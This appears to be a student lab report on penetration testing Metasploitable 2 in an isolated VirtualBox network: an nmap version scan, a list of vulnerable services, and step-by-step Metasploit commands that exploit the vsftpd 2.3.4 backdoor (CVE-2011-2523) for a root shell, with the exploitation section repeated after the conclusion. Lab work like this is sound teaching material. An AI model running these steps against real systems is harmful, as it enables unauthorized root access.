Q1 – Vulnerability Assessment and Exploitation Report

# Part 1: Installation of Metasploitable 2

In this part, we installed the Metasploitable 2 vulnerable machine in VirtualBox using the Host-Only network adapter to safely perform penetration testing.

\*\*Steps Performed:\*\*

1. Downloaded Metasploitable 2 from VulnHub.  
2. Imported the VM into VirtualBox.  
3. Configured Adapter 1 as Host-Only (vboxnet0) for isolated lab communication.  
4. Started the VM and logged in with default credentials (msfadmin/msfadmin).  
5. Checked the IP address using `ifconfig`.  
6. Verified network connectivity from Kali using `ping <Metasploitable\_IP>`.

\*\*Screenshot Placeholder:\*\* VM Network Settings

\*\*Screenshot Placeholder:\*\* Metasploitable IP using ifconfig

\*\*Screenshot Placeholder:\*\* Successful ping from Kali to Metasploitable

# Part 2: Nmap Scan and Service Version Detection

After confirming the target is reachable, we performed an Nmap scan to detect open ports and service versions.

\*\*Nmap Command Used:\*\*

sudo nmap -sV -Pn -p 21,22,25,80,3306 192.168.56.4

\*\*Sample Output:\*\*

PORT STATE SERVICE VERSION  
21/tcp open ftp vsftpd 2.3.4  
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1  
25/tcp open smtp Postfix smtpd (likely 2.5.x)  
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

\*\*Screenshot Placeholder:\*\* Full Nmap scan result

\*\*Vulnerability Assessment:\*\*

- FTP (vsftpd 2.3.4) → Vulnerable to CVE-2011-2523 (backdoor RCE)  
- SSH (OpenSSH 4.7p1) → Outdated; weak for brute force  
- SMTP (Postfix smtpd) → Could allow mail relay if misconfigured  
- HTTP (Apache 2.2.8) → WebDAV directory traversal & PHP-CGI RCE  
- MySQL (5.0.51a) → Potential unauthenticated remote login

# Part 3: Exploitation of Vulnerability

We exploited the FTP service running vsftpd 2.3.4 using the known backdoor vulnerability (CVE-2011-2523) to gain root access on Metasploitable 2.

\*\*Exploitation Steps:\*\*

1. Launch Metasploit Framework: `msfconsole`  
2. Search for the exploit: `search vsftpd`  
3. Use the exploit module: `use exploit/unix/ftp/vsftpd\_234\_backdoor`  
4. Set the target IP: `set RHOSTS 192.168.56.4`  
5. Run the exploit: `run`  
6. Verify root access in the session: `whoami` → root

\*\*Screenshot Placeholder:\*\* Metasploit exploit execution

\*\*Screenshot Placeholder:\*\* Root shell access verification

# Conclusion

In this task, we successfully installed and scanned Metasploitable 2, identified vulnerable services, and exploited vsftpd 2.3.4 to gain root access. This demonstrates the risk of outdated software and the importance of regular patching.

# Part 3: Exploitation to Gain Root Access

\*\*Vulnerability Selected:\*\*  
- Service: FTP (vsftpd 2.3.4)  
- CVE ID: CVE-2011-2523  
- Type: Remote Code Execution (Backdoor)  
  
This version contains a malicious backdoor that spawns a root shell on TCP port 6200 when a username with ':)' is used. This allows attackers to gain unauthorized root access.

\*\*Exploitation Steps Using Metasploit:\*\*

\*\*Step 1: Launch Metasploit Framework\*\*  
```  
msfconsole  
```  
\*Screenshot Placeholder: Metasploit starting in Kali Linux\*

\*\*Step 2: Search for vsftpd Exploit\*\*  
```  
search vsftpd  
```  
Metasploit shows:  
```  
exploit/unix/ftp/vsftpd\_234\_backdoor  
```  
\*Screenshot Placeholder: Search result for vsftpd exploit\*

\*\*Step 3: Select the Exploit Module\*\*  
```  
use exploit/unix/ftp/vsftpd\_234\_backdoor  
```  
Prompt changes to:  
```  
msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) >  
```  
\*Screenshot Placeholder: Module selection\*

\*\*Step 4: Set the Target IP\*\*  
```  
set RHOSTS 192.168.56.4  
```  
\*Replace with actual Metasploitable IP\*  
\*Screenshot Placeholder: Setting RHOSTS\*

\*\*Step 5: Run the Exploit\*\*  
```  
run  
```  
- If successful, a root shell opens on the target.  
\*Screenshot Placeholder: Successful exploit session\*

\*\*Step 6: Verify Root Access\*\*  
```  
whoami  
hostname  
```  
Expected output:  
```  
root  
metasploitable  
```  
\*Screenshot Placeholder: Root shell verification\*

\*\*Result:\*\*  
- Successfully gained root access to Metasploitable 2.  
- Confirms vsftpd 2.3.4 backdoor allows unauthenticated root access.  
- Demonstrates risk of outdated services in production environments.